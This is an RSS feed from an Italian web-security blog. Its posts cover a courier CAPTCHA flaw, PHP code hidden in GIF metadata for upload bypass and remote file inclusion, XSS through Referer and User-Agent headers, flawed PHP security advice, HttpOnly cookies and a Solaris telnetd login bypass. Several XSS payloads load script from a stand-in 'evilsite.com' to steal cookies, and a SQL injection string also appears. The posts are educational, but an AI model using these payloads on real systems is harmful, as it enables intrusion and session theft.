<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Matteo Carli &#187; Programmazione</title>
	<atom:link href="http://www.matteocarli.com/category/informatica/programmazione/feed" rel="self" type="application/rss+xml" />
	<link>http://www.matteocarli.com</link>
	<description>caffeina e passione</description>
	<lastBuildDate>Fri, 11 Dec 2009 13:11:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CAPTCHA che si risolvono da soli</title>
		<link>http://www.matteocarli.com/2009/05/captcha-che-si-risolvono-da-soli.html</link>
		<comments>http://www.matteocarli.com/2009/05/captcha-che-si-risolvono-da-soli.html#comments</comments>
		<pubDate>Fri, 08 May 2009 16:11:26 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Personale]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[antani]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[ocr]]></category>
		<category><![CDATA[servelt]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=240</guid>
		<description><![CDATA[Si discute da tempo se sia sempre utile utilizzare i CAPTCHA. Usabilità pari a zero risolta con lettori audio di testi e debolezza a OCR avanzati e manodopera a costi ridicoli risolta con tecniche che rincorrono sempre gli attaccanti. C&#8217;è un Corriere Espresso Italiano che per effettuare il tracciamento della spedizione chiede, oltre al solito [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-318" title="CAPTCHA antani" src="http://www.matteocarli.com/files/2009/05/captcha_antani.jpg" alt="CAPTCHA antani" width="200" height="60" /><br />
Si discute da tempo se sia sempre utile utilizzare i CAPTCHA. <strong>Usabilità pari a zero</strong> risolta con lettori audio di testi e <strong>debolezza a OCR avanzati</strong> e <a href="http://ha.ckers.org/blog/20070427/solving-captchas-for-cash/">manodopera a costi ridicoli</a> risolta con <a href="http://www.richgossweiler.com/projects/rotcaptcha/rotcaptcha.pdf">tecniche che rincorrono sempre gli attaccanti</a>.</p>
<p>C&#8217;è un Corriere Espresso Italiano che per effettuare il tracciamento della spedizione chiede, oltre al solito numero di tracking, di compilare un form con le lettere che appaiono dentro un CAPTCHA.<br />
La cosa simpatica è che l&#8217;url dell&#8217;immagine che viene richiamata attraverso il codice HTML punta ad <strong>una Servlet che disegna, attraverso il metodo ActionTracking.doGetCaptcha,</strong><strong> le lettere del CAPTCHA grazie ad un paramentro presente nella query string</strong>:</p>
<p>&lt;img src=&#8221;/ResourceServlet.html?execute2=ActionTracking.doGetCaptcha&amp;ses_id=&#8230;&amp;<strong>text_immagine=HNHILE</strong>&#8221; border=&#8221;0&#8243;&gt;</p>
<p>ActionTracking.doGetCaptcha scrive le lettere ricevute in GET nella sessione corrente per poi poter controllare, nel passo successivo, la correttezza delle lettere inserite nel campo di testo. In questo modo, per automatizzare il processo di controllo di stato della spedizione, è possibile leggere direttamente nel codice HTML della prima pagina il parametro che viene utilizzato per richiamare il metodo ActionTracking.doGetCaptcha. In più è possibile forzare il salvataggio di lettere arbitrarie, all&#8217;interno della sessione, impostando il paramentro text_immagine a piacere.<strong><br />
</strong></p>
<p>Il CAPTCHA sopra è un tributo <a href="http://it.wikipedia.org/wiki/Supercazzola">alle parole no-sense</a> utilizzate nella trilogia &#8220;Amici miei&#8221;.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2009/05/captcha-che-si-risolvono-da-soli.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Complimenti a Drupal Day Italia</title>
		<link>http://www.matteocarli.com/2008/11/complimenti-a-drupal-day-italia.html</link>
		<comments>http://www.matteocarli.com/2008/11/complimenti-a-drupal-day-italia.html#comments</comments>
		<pubDate>Fri, 28 Nov 2008 22:48:44 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web Apps]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[drupalday]]></category>
		<category><![CDATA[milano]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/?p=251</guid>
		<description><![CDATA[Gli impegni non mi hanno permesso di parlarne prima. DrupalDay Italia è stata la prima giornata dedicata interamente a Drupal in Italia. Complimenti veramente a tutti gli organizzatori del Drupal Day Italia. Ottima l&#8217;organizzazione e la partecipazione del pubblico. Gli interventi sono stati di ottimi livelli anche se il mal tempo si è messo contro. [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_255" class="wp-caption alignleft" style="width: 210px"><img class="size-full wp-image-255" title="Drupal Day Italia" src="http://www.matteocarli.com/files/2008/11/drupaldayitalia.png" alt="" width="200" height="220" /><p class="wp-caption-text">Drupal Day Italia</p></div>
<p>Gli impegni non mi hanno permesso di parlarne prima. DrupalDay Italia è stata la prima giornata dedicata interamente a Drupal in Italia.</p>
<p>Complimenti veramente a tutti gli organizzatori del <a title="Drupal Day Italia" href="http://www.drupalday.org">Drupal Day Italia</a>. Ottima l&#8217;organizzazione e la partecipazione del pubblico. Gli interventi sono stati di ottimi livelli anche se il mal tempo si è messo contro.</p>
<p>Una esperienza positiva, da ripetere!</p>
<p>Gli interventi dovrebbero essere pubblicati nei prossimi giorni direttamente sul sito web ufficiale.</p>
<p><strong>Aggiornamento</strong>: sono state pubblicate <a href="http://www.flickr.com/photos/caprowsky/sets/72157610401083258/">le fotografie</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2008/11/complimenti-a-drupal-day-italia.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nascondere codice PHP all&#8217;interno di immagini</title>
		<link>http://www.matteocarli.com/2007/06/nascondere-codice-php-allinterno-di-immagini.html</link>
		<comments>http://www.matteocarli.com/2007/06/nascondere-codice-php-allinterno-di-immagini.html#comments</comments>
		<pubDate>Thu, 21 Jun 2007 13:35:54 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/06/nascondere-codice-php-allinterno-di-immagini.html</guid>
		<description><![CDATA[Molti servizi di upload &#8220;casalingo&#8221; utilizzano solo il mime type resituito dalla funzione getimagesize() per controllare se un file è tra quelli consentiti in upload. In base a questo concetto si è arrivati alla conclusione che iniettando all&#8217;interno di un&#8217;immagine GIF codice PHP e rinominando poi il file in .php si riesce comunque ad effettuare [...]]]></description>
			<content:encoded><![CDATA[<p>Molti servizi di upload &#8220;casalingo&#8221; utilizzano solo il mime type resituito dalla funzione <a href="http://php.net/getimagesize">getimagesize()</a> per controllare se un  file è tra quelli consentiti in upload. In base a questo concetto <a href="http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/">si è arrivati alla conclusione</a> che iniettando all&#8217;interno di un&#8217;immagine GIF codice PHP e rinominando poi il file in .php si riesce comunque ad effettuare l&#8217;upload perchè il mime type rimane inalterato in image/gif.<br />
In questo modo una volta salvato il file sul server, senza averne cambiato l&#8217;estensione e potendolo raggiungere direttamente, sarà possibile eseguire il codice inserito all&#8217;interno dello stesso.</p>
<p>Ovviamente la cosa si è diffusa in rete e c&#8217;è chi ha scritto pure <a href="http://www.scanit.be/uploads/php-file-upload.pdf">un documento sull&#8217;argomento</a>, non mi sono soffermato più di tanto sugli esempi ma devo dire che può essere utile per capire quali sono i problemi derivanti da un sistema di upload pubblico.</p>
<p><a href="http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/">Nell&#8217;esempio di RSnake</a> il codice PHP viene messo in parti più o meno casuali dell&#8217;immagine GIF e vengono usati i commenti &#8220;/*&#8221; e &#8220;*/&#8221; perchè ci sono stati problemi di parsing con i dati binari che compongono l&#8217;immagine stessa. Personalmente ho creato una semplice immagine GIF di 1&#215;1 pixel, in formato GIF89a il quale permette l&#8217;uso dei metadati, e ho salvato dentro ad essa un commento che altro non era che del codice PHP:<a href="http://www.flickr.com/photos/matteocarli/724906634/"><img src="http://farm2.static.flickr.com/1062/724906634_4068a3a431.jpg" title="Hide PHP code into GIF image" alt="Hide PHP code into GIF image" align="middle" height="60" width="500" /></a><br />
A questo punto ho rinominato il file in .php ed ho provato a far effettuare il parsing a mod_php sia in versione 4 che 5 e non c&#8217;è stato nessun problema. L&#8217;unico inconveniente, se così si vuole chiamare è che il parser riconosce solo il codice all&#8217;interno di &#8220;&lt;?php ?&gt;&#8221; quindi tutti i caratteri ASCII che compongono l&#8217;immagine saranno mandati direttamente in output:</p>
<p><a href="http://www.flickr.com/photos/matteocarli/580869084/"><img src="http://farm2.static.flickr.com/1394/580869084_22d57dc2a6_m.jpg" title="PHP code into GIF image" alt="PHP code into GIF image" align="middle" height="240" width="192" /></a></p>
<p>Se il file GIF rinominato .php viene eseguito senza problemi dal parser PHP vuol dire che se cerco di includere l&#8217;immagine originale, con il commento che contiene codice PHP, tramite <a href="http://php.net/include">include()</a> o <a href="http://php.net/require">require()</a> questo verrà eseguito: si possono, quindi, usare file di immagine (GIF, PNG e JPEG) per eseguire codice tramite RFI (<a href="http://en.wikipedia.org/wiki/Remote_File_Inclusion">Remote File Inclusion</a>).  A questo punto un qualsiasi servizio di image hosting come ImageShack, Flickr, Zooomr e tanti altri può trasformarsi inconsapevolmente in un hoster di codice per RFI.<br />
Come già detto, per ospitare codice PHP in una immagine, è possibile utilizzare, oltre al formato GIF, anche JPEG e PNG. Per farlo sarà necessario solamente utilizzare i metadati previsti dai due formati.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/06/nascondere-codice-php-allinterno-di-immagini.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Questione di Referer e User-Agent</title>
		<link>http://www.matteocarli.com/2007/06/questione-di-referer-e-user-agent.html</link>
		<comments>http://www.matteocarli.com/2007/06/questione-di-referer-e-user-agent.html#comments</comments>
		<pubDate>Tue, 12 Jun 2007 11:38:03 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/06/questione-di-referer-e-user-agent.html</guid>
		<description><![CDATA[Al momento di una richiesta HTTP (più nello specifico HTTP/1.1) il browser invia al Web server di destinazione varie informazioni tramite gli header tra cui &#8220;Referer&#8221; e &#8220;User-agent&#8221; che servono, rispettivamente, per dichiarare quale URI ha portato a quella specifica risorsa e per dichiarare il nome e la versione del browser Web utilizzato. Questo genere [...]]]></description>
			<content:encoded><![CDATA[<p>Al momento di una richiesta HTTP (più nello specifico <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP/1.1</a>) il browser invia al Web server di destinazione varie informazioni tramite gli header tra cui &#8220;Referer&#8221; e &#8220;User-agent&#8221; che servono, rispettivamente, per dichiarare quale URI ha portato a quella specifica risorsa e per dichiarare il nome e la versione del browser Web utilizzato.<br />
Questo genere di dettagli è ad esempio molto utilizzato per gestire campagne di marketing mirato al visitatore. Molti software per statistiche Web collezionano l&#8217;header &#8220;Referer&#8221; per stilare classifiche sui siti Web che &#8220;inviano&#8221; più visitatori.<br />
Ecco una tipica richiesta HTTP/1.1:</p>
<blockquote><p>GET http://www.ansa.it/ HTTP/1.1<br />
Host:www.ansa.it<br />
<strong>User-Agent:</strong>Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4<br />
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language:it,it-it;q=0.8,en;q=0.5,en-us;q=0.3<br />
Accept-Encoding:gzip,deflate<br />
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive:300<br />
Proxy-Connection:keep-alive<br />
<strong>Referer:</strong>http://www.google.it/search?hl=it&amp;q=ansa&amp;btnG=Cerca+con+Google&amp;meta=</p></blockquote>
<p>Essendo header generati dal browser o più in generale dall&#8217;utente essi possono essere modificati a piacimento.<br />
Se vi fosse un software di statistiche che colleziona &#8220;User-Agent&#8221; e &#8220;Referer&#8221; salvandoli in un database sarebbe semplice creare XSS (Cross-site scripting) permanenti. Solitamente le statistiche vengono consultate in aree ad accesso limitato, in una applicazione che non effettua i dovuti controlli e codifiche un Referer di questo tipo potrebbe risultare veramente pericoloso:</p>
<blockquote><p>http://www.anybadsite.com/?&#8221;&gt;&lt;script/src=&#8221;http://evilsite.com/xss.js&#8221;&gt;&lt;/script&gt;&lt;style=&#8221;</p></blockquote>
<p>In questo modo un attacker potrebbe eseguire qualsiasi istruzione JS all&#8217;interno dell&#8217;area riservata dove vengono consultate le statistiche senza che la vittima se ne accorga. Gli utilizzi più interessanti vanno dal furto del token di autenticazione contenuto nel cookie all&#8217;<a href="http://jeremiahgrossman.blogspot.com/2006/09/video-hacking-intranet-websites-from.html">Intranet Hacking</a>.<br />
Oltre all&#8217;utilizzo di XSS diretti, l&#8217;header &#8220;Referer&#8221; potrebbe essere modificato ad arte per dirottare la vittima su un qualsiasi sito esterno, vulnerabile ad XSS:</p>
<blockquote><p> http://www.victimbank.com/home.asp?fuzzy=mybankxyxyxyx&amp;page=&lt;script/src=http://evilsite.com/stealcookie.js&gt;&lt;/script&gt;</p></blockquote>
<p>Questi sono solo esempi basati sull&#8217;header &#8220;Referer&#8221; ma tutto è riproducibile su &#8220;User-Agent&#8221; e tutti quegli header che una applicazione Web utilizza ma non valida in maniera opportuna.</p>
<p>Ho effettuato dei test navigando con un &#8220;User-Agent&#8221; modificato ad arte e mi sono accorto come molte volte il codice JS iniettato dentro ad esso venga eseguito. Ciò vuol dire che circa il 70% delle applicazioni che ne fanno uso prendono per buono direttamente l&#8217;user-input.</p>
<p>I webmaster e i webdeveloper dovrebbero prendere coscienza che tutto l&#8217;user-input come cookie, user-agent, referer,  Accept-Charset,  Accept-Language, ecc.. dovrebbe essere sempre validato e codificato nel migliore dei modi.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/06/questione-di-referer-e-user-agent.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Consigli di programmazione (in)sicura</title>
		<link>http://www.matteocarli.com/2007/05/consigli-di-programmazione-insicura.html</link>
		<comments>http://www.matteocarli.com/2007/05/consigli-di-programmazione-insicura.html#comments</comments>
		<pubDate>Thu, 24 May 2007 15:00:38 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/05/consigli-di-programmazione-insicura.html</guid>
		<description><![CDATA[Stavo facendo un giro su Digg nella sezione sicurezza e mi sono imbattuto in una segnalazione di un articolo sulla programmazione sicura con PHP di Jeff Skrysak. L&#8217;articolo affronta punto per punto le principali problematiche di sicurezza che si presentano al momento della scrittura di una Web Application. Il fatto è che alcuni dei consigli [...]]]></description>
			<content:encoded><![CDATA[<p>Stavo facendo un giro su Digg nella sezione sicurezza e mi sono imbattuto in una segnalazione di un <a href="http://digg.com/security/How_to_create_a_secure_PHP_MySQL_login_system">articolo sulla programmazione sicura con PHP di Jeff Skrysak</a>.</p>
<p>L&#8217;articolo affronta punto per punto le principali problematiche di sicurezza che si presentano al momento della scrittura di una Web Application. Il fatto è che <strong>alcuni dei consigli sono sbagliati</strong>.</p>
<blockquote>
<ul>
<li><strong>Handle errors gracefully</strong><br />
Place the ampersat symbol (@) in front of many of your PHP function calls. If they fail, the ampersand will stop from from showing that failure in the browser window. This is very useful when making database calls but your database is down, or the SQL statement returns an error. Such messages would only give feedback to intruders, or look unprofessional to regular users.</li>
<li><strong>Strip backslashes, HTML, SQL and PHP tags from any form field data</strong><br />
If someone maliciously tries to send HTML, SQL or PHP code through a text field entry not meant to expect it, they can disrupt or break your code. Use the following PHP functions to strip out such text:  strip_tags(), str_replace() and stripslashes().<br />
Example: $login = @strip_tags($login); Example: $login = @stripslashes($login);</li>
<li><strong>Add &#8220;LIMIT 1&#8243; to the end of your SQL statements</strong><br />
That will limit the number of results to just 1. If someone successfully hijacks your site, and is able to run a SQL statement that returns data, or deletes it, placing &#8220;LIMIT 1&#8243; at the end of any SQL string will help limit the amount of data they are able to see or damage.<br />
Example: SELECT * FROM useraccount WHERE Login=&#8217;$login&#8217; AND Password=&#8217;$encrypted&#8217; LIMIT 1</li>
<li><strong>Use $_POST not $_REQUEST</strong><br />
If your HTML form uses POST to send the data to the login script, then make sure your login script gets the input data using $_POST, and not $_REQUEST. The latter would allow someone to pass data via GET, on the end of the URL string.</li>
</ul>
</blockquote>
<p>Gli errori ritornati dalle funzioni non andrebbero nascosti all&#8217;utente tramite &#8220;@&#8221; ma attraverso le <a href="http://www.php.net/manual/it/ref.errorfunc.php">varie funzioni di PHP</a>: in primis <a href="http://www.php.net/manual/it/function.set-error-handler.php">set_error_handler()</a> potendo così anche salvare tutti gli errori su un database o su un file. In linea generale il metodo &#8220;<a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security through obscurity</a>&#8221; non è ottimo, ma nelle Web Application potrebbe aiutare a nascondere ad un attaccante dettagli necessari come la posizione sul file system dei file, la versione del linguaggio usato, il tipo di database utilizzato, ecc&#8230;</p>
<p>Le funzioni strip_tags e stripslashes suggerite non sono sufficenti ad evitare l&#8217;iniezione di codice Javascript.<br />
Se vi fosse una pagina che riceve dati da un form in questo modo:<br />
<code>//...<br />
$url = striptags(stripslashes($_POST['url']));<br />
echo '&lt;a href="'.$url.'"&gt;Url&lt;/a&gt;';<br />
//...</code><br />
passando tramite la variabile &#8220;url&#8221;, inviata via metodo POST, una stringa uguale a questa è possibile creare un XSS:</p>
<blockquote><p> &quot; onmouseover=&#8221;myJSfunc();</p></blockquote>
<p>Un metodo più efficace contro l&#8217;iniezione di codice JS è questo:<br />
<code>$url = htmlentities(strip_tags($_POST['url']),ENT_QUOTES);</code><br />
così facendo tutti i tag HTML verranno cancellati e tutti caratteri speciali verranno convertiti nelle rispettive entità HTML. Ovviamente tali funzioni dovrebbero essere sempre usate come ultima spiaggia dopo aver validato la stringa con  espressioni regolari o con la nuova funzione filter_input di PHP 5.<br />
Nel caso di dati da inserire in un DataBase ci viene incontro una ottima funzione nativa di PHP: {mysql,mysqli,ps,sqlite}_escape_string. Una ottima contromusira alle SQL Injection la forniscono anche le &#8220;prepared statements&#8221; disponibili con PHP 5 e <a href="http://framework.zend.com/">Zend Framework</a>.<br />
L&#8217;aggiunta dell&#8217;istruzione &#8220;LIMIT 1&#8243; alla fine di una query non rende immune ad attacchi un&#8217;applicazione che non effettua i dovuti controlli sui dati ricevuti.  Se vi fosse una pagina che riceve dati da un form in questo modo:<br />
<code>//...<br />
$id = $_POST['id'];<br />
$query = '&lt;SELECT * FROM users WHERE id='.$_POST['id'].' LIMIT 1';<br />
//...</code><br />
passando tramite la variabile &#8220;id&#8221;, inviata via metodo POST, una stringa uguale a questa sarebbe possibile creare una SQL Injection bypassando anche la direttiva &#8220;LIMIT 1&#8243;:</p>
<blockquote><p>1 OR 1=1; &#8211;</p></blockquote>
<p>Per concludere, l&#8217;utilizzo del metodo POST al posto di GET o del più generale REQUEST aiuta certo ad evitare <a href="http://en.wikipedia.org/wiki/Xss#Type_1">XSS di tipo 1</a> ma non rende più difficile, ad un attaccante, manipolare i paramentri inviati alla Web Application.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/05/consigli-di-programmazione-insicura.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HttpOnly Cookie implementati in Firefox 3</title>
		<link>http://www.matteocarli.com/2007/03/httponly-cookie-implementati-in-firefox-3.html</link>
		<comments>http://www.matteocarli.com/2007/03/httponly-cookie-implementati-in-firefox-3.html#comments</comments>
		<pubDate>Wed, 21 Mar 2007 07:30:57 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/03/httponly-cookie-implementati-in-firefox-3.html</guid>
		<description><![CDATA[L&#8217;attributo HttpOnly dello header HTTP &#8220;Set-Cookie&#8221; serve per rendere invisibile un cookie ai linguaggi client-side come JavaScript. Tramite questa tecnica, sviluppata da Microsoft, un browser invierà i cookie di un dominio solamente al server contattato inibendone, ad esempio, la lettura tramite il classico &#8220;document.cookie&#8221; di JavaScript. HttpOnly Cookie è stato implementato per la prima volta [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;attributo HttpOnly dello header HTTP &#8220;Set-Cookie&#8221; serve per rendere invisibile un cookie ai linguaggi client-side come JavaScript.<br />
Tramite questa tecnica, <a href="http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp">sviluppata da Microsoft</a>, un browser invierà i cookie di un dominio solamente al server contattato inibendone, ad esempio, la lettura tramite il classico &#8220;document.cookie&#8221; di JavaScript.</p>
<p>HttpOnly Cookie è stato implementato per la prima volta in IE 6 sp1, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=178993">da pochi giorni</a> è stato integrato di default anche nella <a href="http://www.mozilla.org/projects/firefox/3.0a3/releasenotes/">terza beta di Firefox 3</a>.</p>
<p>HttpOnly è ancora una tecnologia poco utilizzata: è stata <a href="http://ilia.ws/archives/121-httpOnly-cookie-flag-support-in-PHP-5.2.html">implementata ufficialmente su PHP dalla versione 5.2</a> Ci sono però <a href="http://blog.mattmecham.com/archives/2006/09/http_only_cookies_without_php.html">dei workaround</a> per utilizzarla anche sulle versioni precedenti.</p>
<p>Per chi volesse provare HttpOnly su Firefox 2 può usare <a href="http://blog.php-security.org/archives/40-httpOnly-Cookies-in-Firefox-2.0.html">l&#8217;estensione &#8220;httpOnly&#8221; scritta da Stefan Esser</a>. L&#8217;estensione non segue la vera implementazione usata da Microsoft: tutti i cookie in arrivo, contrassegnati dal flag HttpOnly vengono criptati con AES tramite un hook di Firefox. Un altro hook decripta i cookie solo quando vengono inviati tramite HTTP, in questo modo i cookie ottenuti tramite JavaScript saranno inutilizzabili perché criptati.</p>
<p>Segnalo inoltre, che da poche ore sono stati rilasciati <a href="http://www.mozilla.com/en-US/firefox/2.0.0.3/releasenotes/">Firefox 2.0.3</a> e <a href="http://www.mozilla.com/en-US/firefox/releases/1.5.0.11.html">Firefox 1.5.0.11</a> che correggono <a href="http://exploit.blogosfere.it/2007/03/firefox-2002-ancora-pericolo-phishing.html">alcuni bug di sicurezza venuti alla ribalta negli scorsi giorni</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/03/httponly-cookie-implementati-in-firefox-3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Imbarazzante bug in telnetd di Solaris</title>
		<link>http://www.matteocarli.com/2007/02/imbarazzante-bug-in-telnetd-di-solaris.html</link>
		<comments>http://www.matteocarli.com/2007/02/imbarazzante-bug-in-telnetd-di-solaris.html#comments</comments>
		<pubDate>Tue, 13 Feb 2007 12:42:32 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sun]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/02/imbarazzante-bug-in-telnetd-di-solaris.html</guid>
		<description><![CDATA[E&#8217; stato scoperto un grave bug all&#8217;interno di telnetd in Solaris 10 e 11 (SunOS 5.10 e 5.11), le versione 9 o inferiori non sembrano essere affette dal problema. Il demone telnet, al momento di un login remoto, passa degli switch direttamente al processo per il login per permettere all&#8217;utente root il login con altri [...]]]></description>
			<content:encoded><![CDATA[<p>E&#8217; stato scoperto un grave bug all&#8217;interno di telnetd in Solaris 10 e 11 (SunOS 5.10 e 5.11), le versione 9 o inferiori non sembrano essere affette dal problema.<br />
Il demone telnet, al momento di un login remoto, passa degli switch direttamente al processo per il login per permettere all&#8217;utente root il login con altri account senza bisogno di password. Il bug permette, se telnetd è avviato con privilegi di root, di effettuare login senza bisogno di autenticazione.</p>
<p>Di seguito è riportata la parte di codice (preso dal progetto OpenSolaris) responsabile del problema:</p>
<blockquote><p>/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c<br />
3199 } else /* default, no auth. info available, login does it all */ {<br />
3200     (void) execl(LOGIN_PROGRAM, &#8220;login&#8221;,<br />
3201                      &#8220;-p&#8221;, &#8220;-h&#8221;, host, &#8220;-d&#8221;, slavename,<br />
3202                      getenv(&#8220;USER&#8221;), 0);<br />
3203 }</p>
<p>/usr/src/cmd/login/login.c<br />
1399 case &#8216;f&#8217;:<br />
1400    /*<br />
1401     * Must be root to bypass authentication<br />
1402     * otherwise we exit() as punishment for trying.<br />
1403     */<br />
1404     if (getuid() != 0 || geteuid() != 0) {<br />
1405         audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;<br />
1406<br />
1407         login_exit(1); /* sigh */<br />
1408         /*NOTREACHED*/<br />
1409     }<br />
1410     /* save fflag user name for future use */<br />
1411     SCPYL(user_name, optarg);<br />
1412     fflag = B_TRUE;</p></blockquote>
<p>Telnetd è disabilitato di default solo sull&#8217;update 3 di Solaris. Su update 1 e 2 telnetd è attivo di default con privilegi ristretti.<br />
Siamo nel 2007 e demoni come telnet dovrebbero essere in disuso da anni ormai, ma non sempre è così. <a href="http://isc.sans.org/diary.html?storyid=2220">ISC suggerisce</a>, a chi proprio non riesce a farne a meno, alcuni modi per ridurre l&#8217;impatto del bug.</p>
<p>Nel 1994 la stessa vulnerabilità fu <a href="http://www.cert.org/advisories/CA-1994-09.html">scoperta in IBM AIX</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/02/imbarazzante-bug-in-telnetd-di-solaris.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Marzo inizierà &#8220;Month of PHP bugs&#8221;</title>
		<link>http://www.matteocarli.com/2007/02/a-marzo-iniziera-month-of-php-bugs.html</link>
		<comments>http://www.matteocarli.com/2007/02/a-marzo-iniziera-month-of-php-bugs.html#comments</comments>
		<pubDate>Tue, 06 Feb 2007 16:05:22 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Web Apps]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/02/a-marzo-iniziera-month-of-php-bugs.html</guid>
		<description><![CDATA[Nella recente intervista Stefan Esser, ha annunciato che a Marzo inizierà il &#8220;Month of PHP bugs&#8221;. Stefan Esser è un consulente di sicurezza tedesco che da anni ha a che fare con software OpenSource. Circa 6 anni fa è entrato a far parte degli sviluppatori di PHP, grazie a questa mansione è stato a stretto [...]]]></description>
			<content:encoded><![CDATA[<p>Nella recente <a href="http://www.securityfocus.com/columnists/432/">intervista</a> Stefan Esser, ha annunciato che a Marzo inizierà il &#8220;Month of PHP bugs&#8221;.</p>
